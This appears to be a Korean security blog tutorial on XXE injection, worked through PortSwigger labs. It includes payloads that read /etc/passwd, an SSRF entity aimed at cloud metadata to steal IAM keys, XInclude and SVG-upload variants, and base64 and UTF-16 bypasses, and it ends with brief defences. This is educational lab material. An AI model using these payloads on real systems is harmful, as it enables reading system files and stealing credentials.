※ 영문 사이트를 참조해서 오역이 있을수도 있습니다. 지적해주시면 성실히 수정하도록 하겠습니다.
▶ XXE injection?
XXE(XML external entity) injection은 application의 XML데이터 처리에 공격자가 간섭할 수 있게되어 발생하는 취약점이다. application에서는 가끔 공격자가 application 서버의 파일시스템을 볼 수 있게 허용하거나, application 스스로 접속하는 백엔드나 외부 시스템에 간섭할 수 있게 만드는 경우가 있다. 몇 환경에서는 XXE 취약점을 이용해서 SSRF(Server-Side Request Forgery) 공격을 수행해서 해당 서버 또는 다른 백엔드 인프라를 손상시켜 XXE 공격을 확대할 수 있다.
몇몇 application은 XML 포맷을 브라우저와 서버 간 데이터 전송에 사용한다. 해당 application들은 실제로 항상 표준 라이브러리 또는 플랫폼 API를 XML데이터를 처리하는데 사용한다. XXE Vulnerability는 XML사양이 다양한 잠재적 위험 요소들을 가지고 있으며, 이러한 특징들이 application에서 보통 쓰이지 않는데도 불구하고 표준 파서들이 지원하기 때문에 발생한다.
XML external entity 는 선언된 DTD바깥에서 불려오는 커스텀 XML 엔티티의 종류이다. External entity는 특히 파일경로 또는 URL을 기반으로 엔티티를 정의할 수 있기 때문에 보안적 관점에서 흥미로운 주제이다.
XXE 취약점은 XML의 이해가 없으면 학습하기 어렵다. XML에 관한 글은 내가 일전에 상세히 포스팅해놨으니, 한번 읽고 오는 것을 추천한다.
▶ XXE injection 공격 탐지
XML Parse가 동작하는 구간을 찾는다. 소스코드를 볼 수 있다면, 소스 코드에서 검색하는 것이 가장 효율적이며, 소스코드가 없다면 .xml파일을 인자값으로 받거나, 에러에서 XML Parsing 관련 에러를 뱉는 구간을 위주로 점검해야 한다. 예를 들어 다음과 같이 눈에 띄게 XML 형태를 처리할 것으로 보이는 구간이 XXE가 존재할 가능성이 높은 부분이다.
GET /readRss?url=https://rss_service/feeds.xml |
XXE 구문이 포함된 파일을 XML Parser가 읽고 분석하도록 해서 XXE를 유도할 수 있다. 위 readRss란 페이지가 XML을 읽어 사용자에게 보여주는 기능을 가진다면, 다음과 같은 공격 구문으로 XXE 여부를 체크할 수 있다.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://your_oast_domain" >]> <foo>&xxe;</foo> |
해당 구문이 파싱된다면 XML 구문에 따라서 웹 요청을 발생시키기 위해 oast_domain으로 접근하게 된다. 이 때 발생하는 HTTP Request와 DNS Qeury를 가지고 식별하면 된다. 이렇게 OAST, OOB 기반으로 식별하는 방법이 가장 여러 케이스에서 확인할 수 있는 좋은 방법이다. (Blind XXE도 측정가능)
대표적인 OAST 서비스 & 도구 : Burpsuite: burpcollaborator.net / ZAP:odiss.eu (OAST), Interactsh 단, public oast 서비스는 2021년 log4j사태 이후 많은 서비스에서 차단하므로 직접 private한 oast 서비스를 구성하는 것을 추천.
XML 파싱의 결과가 리턴된다면 단순하게 DTD 사용을 체크하는 것도 좋다.
<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo> |
자세한 attack vector 등은 다음 사이트를 참조하는 것이 좋을듯하다(https://www.hahwul.com/cullinan/xxe/).
▶ XXE injection 공격 유형
[1] Exploiting XXE to retrieve files
서버의 파일시스템에서 임의의 파일을 검색하는 XXE injection 공격을 수행하기 위해선, 두가지 방법으로 제출된 XML 을 조작해야한다.
1. 파일 경로를 포함하는 external entity를 정의하는 DOCTYPE 요소를 넣거나 편집해야 한다.
2. 정의된 external entity를 사용하기 위해서 application의 응답값으로 반환되는 XML 데이터를 수정해야 한다.
예를 들면, 쇼핑 application이 재고를 다음과 같은 XML 을 서버로 전송해서 확인한다고 가정하자
<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck> |
해당 application이 XXE에 대한 아무런 방어가 없다면, 다음과 같은 XXE payload를 전송해서 /etc/passwd 파일을 검색할 수 있다.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck> |
해당 XXE payload는 external entity로 xxe를 /etc/passwd 로 정의해서 해당 entity를 productId 값으로 활용한다. 이로 인해 application의 응답에 파일 내의 내용이 포함된다.
Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... |
※ 실제 XXE 취약점은 XML내의 수많은 데이터가 제출된다. XXE 취약점을 체계적으로 테스트하려는 경우, 내가 정의하는 entity를 활용해서 응답 내에 나타나는지 XML의 각 데이터 노드를 개별적으로 테스트해야 한다.
이제 이론을 알았으니, 실습을 해보자,
다음과 같은 페이지가 있다. (https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files)
아직은 따로 XML 데이터가 전송된다고 생각될만한 부분은 보이지 않는다. 페이지를 더 둘러보자.
의심가는 부분은 "Check Stock" 부분이다. 아까 XML 데이터 전송의 예시로 쇼핑재고를 들었으므로, 아무래도 재고를 검색하면 그에 따른 XML데이터 요청이 날아가고 받아오는 형식인 것 같다. 한번 Burp Suite로 어떤 패킷이 왔다가는지 살펴보자.
XML 형식으로 작성된 request가 전송되고, 그에 따른 데이터를 response로 받는 형식인 것 같다. 위에서 설명한 payload에 따라서 XXE로 external entity로 데이터를 정의하고 불러오는 식으로 file:///etc/passwd를 불러오는 명령을 수행해보자. request로 보낸 XXE payload는 다음과 같다.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <stockCheck> <productId> &xxe; </productId> <storeId> &xxe; </storeId> </stockCheck> |
그럼 /etc/passwd 파일의 사용자 정보가 뽑혀나온다.
[2] Exploiting XXE to perform SSRF attacks
민감한 데이터 검색 외에도, XXE attack의 또다른 주요 영향은 해당 공격이 SSRF(Server-Side Request Forgery)를 수행할 수 있다는 점에 있다. 이는 서버측 application이 HTTP 요청을 서버가 접근할 수 있는 아무 URL에 보내게 만들 수 있다는 점에서 잠재적으로 심각한 취약점이 된다. XXE 취약점을 SSRF로 수행하기 위해서, external XML entity를 타겟 URL을 이용해서 정의할 필요가 있으며, 해당 entity를 데이터값 내에 넣어서 사용한다. 만약, 정의된 entity를 application의 응답으로 반환하는 데이터 값 내에 넣어 사용할 수 있다면, application의 응답에서 해당 URL의 응답을 볼 수 있고, 백엔드 시스템과의 상호작용을 할 수 있다. 만약 위와 같은 경우가 아니라면, blind SSRF 공격을 수행할 수 밖에 없다. 다음과 같은 payload로 백엔드 측 HTTP request를 내부 시스템에 보내게 만들 수 있다.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]> |
XXE + SSRF 또한 실습해보자.
Exploiting XXE to perform SSRF attacks 실습 페이지다(https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf).
전과 마찬가지로 쇼핑페이지인 것 같다. 근데 이번에는 요구사항이 좀 다르다. EC2 메타데이터로 클라우드 플랫폼에서 VM 인스턴스에 메타데이터를 제공하는 주소인 169.254.169.254(https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)의 인스턴스에 대한 데이터를 탈취하는 것이 목표이다. XXE 취약점을 이용해서 SSRF 공격을 통해 IAM secret access key를 탈취하라고 한다. ProductId에 external entity로 서버측 URL로 요청을 보내면 파일 경로가 뜬다(metadata endpoint에서 응답).
계속 경로를 추가해가며 요청을 보내면, 결국에는 탈취할 수 있다. 다음과 같이 말이다.
[3] Blind XXE vulnerabilities
Blind XXE Vulnerability의 경우, 내용이 방대하고 별도 문서로 규정되어 있으므로, 추후에 별도로 작성하도록 하겠다.
[4] Finding hidden attack surface for XXE Injection
많은 경우, XXE Injection 취약점은 분명하다. application의 HTTP 트래픽이 XML 포맷의 데이터를 포함한 요청을 가지기 때문이다. 다른 경우에는 , 이러한 취약점이 잘 보이지 않는 경우도 있다. 그런데 제대로 된 경로를 찾는다면, 요청에 XML을 포함하지 않고도 XXE attack을 수행할 수 있다.
(1) XInclude attacks : 몇 application에서는 클라이언트 측 입력데이터를 받아서, 서버측에서 XML 문서로 해당 데이터를 넣은 다음, 문서를 파싱한다. 이 예시로 백엔드 SOAP 서비스로 처리되는 SOAP 요청이 있다. 이러한 경우, 일전의 방법으로는 XXE 공격을 수행할 수 없다. 전체적인 XML 문서를 통제할 수 없음에 따라 DOCTYPE element를 선언하거나 수정할수도 없기 때문이다. 이런 경우, XInclude를 대신에 사용할 수 있다. XInclude는 하위 문서에서 XML 문서를 작성할 수 있도록하는 XML 기능이다. XML 문서안의 어떠한 데이터 값과 함께 XInclude 공격을 수행할 수 있으며, 따라서 해당 공격은 서버 측 XML 문서의 데이터 하나를 제어할 수 있어도 해당 위치에서 수행할 수 있다. XInclude 공격을 수행하기 위해서, XInclude namespace 와 include하길 원하는 파일의 경로를 제공해야 한다.
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> |
감사하게도, XInclude attack 실습 역시 제공하고 있다(https://portswigger.net/web-security/xxe/lab-xinclude-attack).
해당 실습을 진행해보자. 위 실습들과 겉보기에는 전혀 차이가 없어보인다. 하지만, 패킷을 살펴보게 되면 전혀 그렇게 보이지 않는다. 마찬가지로 재고확인 버튼을 누른 후, Burp Suite로 어떤 패킷이 오가는지 살펴보자.
주고 받는 데이터의 형태가 이상하다. 아무래도 XInclude 공격을 설명하면서 언급했던 방식과 같이, xml 데이터 형식에 해당 변수만 데이터로 삽입하는 형태인 것 같다. 그렇다고 가정하고, 해당 데이터 안쪽에 XInclude 기능을 이용해서 임의의 데이터를 삽입해보자. Content Type Converter 기능을 이용하면 쉽게 데이터 형식을 변환할 수 있다 다음과 같이 말이다.
<?xml version="1.0" encoding="UTF-8"?> <stockCheck> <productId> <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> </productId> <storeId> 1 </storeId> </stockCheck> |
namespace prefix 는 선언되는 위치가 상관없으니, 데이터가 삽입되는 태그내에서 선언하고 XInclude 공격을 수행하는 모습이다. 빨간 표시한 데이터를 productId 란에 삽입해서 공격을 보내면 다음과 같이 /etc/passwd 파일을 볼 수 있다.
(2) XXE attacks via image file upload : 몇 application에서는 파일업로드를 허용하고 서버측에서 처리하는 경우가 있다. 몇 파일 포맷들은 XML이나 XML subcomponent들을 포함하는 경우가 있다. 그 대표적인 예가 DOCX와 같은 document 포멧이나 SVG와 같은 image 포멧이 있다. 예를 들어, application이 사용자에게 이미지를 업로드하게 허용하고 해당 파일을 처리하거나 확인을 서버에서 하는 경우가 있다. application이 PNG나 JPEG와 같은 포멧을 받기를 예상함에도 불구하고, 사용되는 이미지 처리 라이브러리는 SVG 이미지를 지원할 수도 있다. SVG 포멧이 XML을 사용하기 때문에, 공격자는 악의적인 SVG을 올리고 XXE 취약점 공격을 수행할 수 있게 된다.
감사하게도 해당 공격도 실습할 수 있게 페이지를 만들어놨다(https://0abe0003030cb191c11f8a3e00b400c0.web-security-academy.net/).
목표는 /etc/hostname파일을 보는 것. 이번에는 블로그 사이트가 등장한다. 파일 업로드 XXE 실습 사이트인 만큼 file upload 를 할 수 있는 곳을 찾아보자. 그럼 블로그 댓글에 'Avatar' 을 첨부해서 댓글을 쓸 수 있게 만들어놨는데, 여기에 file upload로 XXE 공격을 할 수 있을 것이라 짐작할 수 있다.
svg 파일을 첨부해서 공격할 수 있는데 다음과 같은 svg파일을 업로드하면 해당 엔티티로 데이터를 불러와서 이미지란에 해당 텍스트를 svg 파일로 출력한다.
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg> |
(3) XXE attacks via modified content type : 대부분의 POST 요청은 application/x-www-urlencoded와 같은 HTML 양식에서 생성되는 기본 컨텐츠 유형을 사용한다. 일부 웹 사이트는 해당 형식의 요청을 받을 것으로 예상하지만 XML을 포함한 다른 유형을 허용한다.
정상적인 경우:
POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar |
XML 형식으로 똑같은 결과를 출력하게 만들 경우 :
POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo> |
애플리케이션이 메시지 본문에 XML이 포함된 요청을 허용하고 본문을 XML로 파싱하는 경우, XML 데이터를 전송하여 XXE 공격이 가능할 수 있다.
▶ XXE injection Bypass
base64, UTF-16 등을 이용해서 다양하게 우회할 수 있다.
Using Base64 <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> Using UTF-16 cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml |
▶ XXE injection 대응방안
XML 파싱할 때 DTD를 허용하지 않도록 제한하는 형태로 대응할 수 있다. 또한, XML 파싱 단계가 굳이 외부에 노출될 필요가 없다면 완전하게 내부에서만 처리하도록 변경하는 것도 좋은 방법 중 하나이다. 또한, XInclude에 대한 지원을 비활성화하면 된다.
출처 : https://portswigger.net/web-security/xxe
'정보보안(웹해킹) > XXE(XML External Entity) Vulnerability' 카테고리의 다른 글
DTD 파일 목록 정리 (0) | 2022.12.28 |
---|---|
Blind XXE vulnerability (0) | 2022.12.27 |
XML(EXtensible Markup Language) (1) | 2022.12.25 |
댓글